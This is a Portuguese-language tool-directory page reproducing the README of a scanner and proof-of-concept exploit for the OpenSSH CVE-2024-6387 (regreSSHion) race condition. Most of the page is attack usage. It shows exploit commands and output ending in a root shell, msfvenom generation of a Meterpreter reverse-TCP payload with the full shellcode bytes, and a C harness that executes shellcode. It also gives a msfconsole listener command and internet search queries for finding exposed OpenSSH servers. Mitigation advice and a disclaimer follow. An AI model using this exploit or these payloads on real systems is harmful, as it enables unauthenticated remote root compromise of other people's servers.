Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-6387 — PoC - Vulnerabilidade de Execução Remota de Código sem Autenticação no servidor OpenSSH (Scanner e Exploit) | Kitploit
Ferramentas/GitHubGitHub/l0n3m4n/cve-2024-6387
ReconhecimentoAnálise de VulnerabilidadesExploraçãoShellcodeSegurança de RedeTestes de PenetraçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - Vulnerabilidade de Execução Remota de Código sem Autenticação no servidor OpenSSH (Scanner e Exploit)

113398há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

openssh CVE-2024-6387 - PoC

📜 Descrição

Nota: Este script é um PoC protótipo rápido; alguns erros e bugs podem ocorrer. Testado em: Kali Linux, ParrotSec, Ubuntu 22.04

Vulnerabilidade de Execução Remota de Código sem Autenticação no servidor OpenSSH

Foi encontrada uma condição de corrida no manipulador de sinais do servidor OpenSSH (sshd), onde um cliente não autentica dentro de LoginGraceTime segundos (120 por padrão, 600 em versões antigas do OpenSSH), então o manipulador SIGALRM do sshd é chamado de forma assíncrona. No entanto, este manipulador de sinais chama várias funções que não são async-signal-safe, por exemplo, syslog().

📁 Tabela de Conteúdos

  • 📖 Detalhes
  • ⚙️ Uso
  • 🔍 Descoberta de Hosts
  • 🛠️ Mitigação
  • 💁 Referências
  • 📌 Autor
  • 📢 Isenção de Responsabilidade

✍🏻 Detalhes

Você pode encontrar os detalhes técnicos aqui.

A falha, descoberta por pesquisadores da Qualys em May 2024 e designada com o identificador CVE-2024-6387, é devida a uma condição de corrida no manipulador de sinais do sshd que permite que atacantes remotos não autenticados executem código arbitrário como root.

"Se um cliente não autenticar dentro de LoginGraceTime segundos (120 por padrão), então o manipulador SIGALRM do sshd é chamado de forma assíncrona e chama várias funções que não são async-signal-safe,"

"Um atacante remoto não autenticado pode tirar proveito desta falha para executar código arbitrário com privilégios de root."

⚙️ Uso

Escaneando o Servidor OpenSSH

Requisito: python3 mais recente

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportando (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Múltiplos alvos

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Adicionando timeout

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Faixas de rede

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Porta personalizada

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Processo de Escalação

Obtendo Reverse shell

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Payload personalizado

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Payload real

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Compilando e iniciando o payload

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Executando o payload

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Capturando o payload

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Descoberta de Hosts

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Mitigação

  • Gerenciamento de Patches: Aplicar rapidamente os patches disponíveis para o OpenSSH é essencial para fechar a lacuna da vulnerabilidade. A aplicação oportuna de patches garante que exploits conhecidos não possam ser utilizados contra seus sistemas, reduzindo assim a janela de oportunidade para atacantes.

  • Controle de Acesso Reforçado: Limitar o acesso SSH por meio de controles baseados em rede adiciona uma camada extra de defesa. Essa abordagem minimiza a exposição a possíveis atacantes ao restringir conexões SSH apenas a redes ou endereços IP autorizados. Implementar ferramentas como regras de firewall ou usar VPNs para acesso seguro pode impor efetivamente essas restrições.

  • Segmentação de Rede: Dividir sua rede em segmentos ajuda a conter o impacto de uma possível violação. Ao segmentar sistemas críticos e dados sensíveis das partes menos críticas da sua rede, você reduz o risco de movimento lateral por parte de atacantes. Essa segmentação pode ser complementada com controles de acesso rigorosos e monitoramento para detectar e responder a quaisquer tentativas não autorizadas de violar esses segmentos.

  • Sistemas de Detecção de Intrusão (IDS): Implantar IDS ou sistemas de prevenção de intrusão (IPS) permite o monitoramento em tempo real do tráfego de rede e dos logs do sistema. Esses sistemas podem detectar atividades suspeitas e possíveis tentativas de exploração associadas à vulnerabilidade regreSSHion. Alertas disparados por esses sistemas permitem investigação e mitigação imediatas antes que danos significativos possam ocorrer.

  • Monitoramento de Tentativas de Exploração: O monitoramento contínuo dos logs de rede e do sistema é crucial. Procure por padrões ou atividades incomuns que possam indicar uma tentativa de explorar a vulnerabilidade do OpenSSH. Essa abordagem proativa ajuda a identificar e responder a ameaças antes que elas possam causar danos.

💁 Referências

  • Autor Original: CVE-2024-6387 Scanner
  • Autor Original: CVE-2024-6387 PoC

Referências Adicionais

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 Autor

  • Facebook
  • Twitter (X)
  • Medium
  • Website

📢 Isenção de Responsabilidade

  • Nota Importante:
    • Esta ferramenta é desenvolvida e utilizada exclusivamente para testes de penetração autorizados e exercícios de red team. Ela é projetada para identificar e explorar vulnerabilidades no servidor OpenSSH, em sistemas Linux baseados em glibc. O uso não autorizado desta ferramenta é estritamente proibido. O proprietário desta ferramenta não é responsável por qualquer acesso não autorizado ou uso malicioso da mesma.
  • Aviso Legal:
    • O uso não autorizado desta ferramenta em sistemas ou redes sem autorização explícita dos respectivos proprietários pode violar leis e regulamentos aplicáveis. Os usuários são responsáveis por garantir a conformidade com os padrões legais e éticos que regem os testes e avaliações de segurança cibernética.
Baixar ferramenta
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/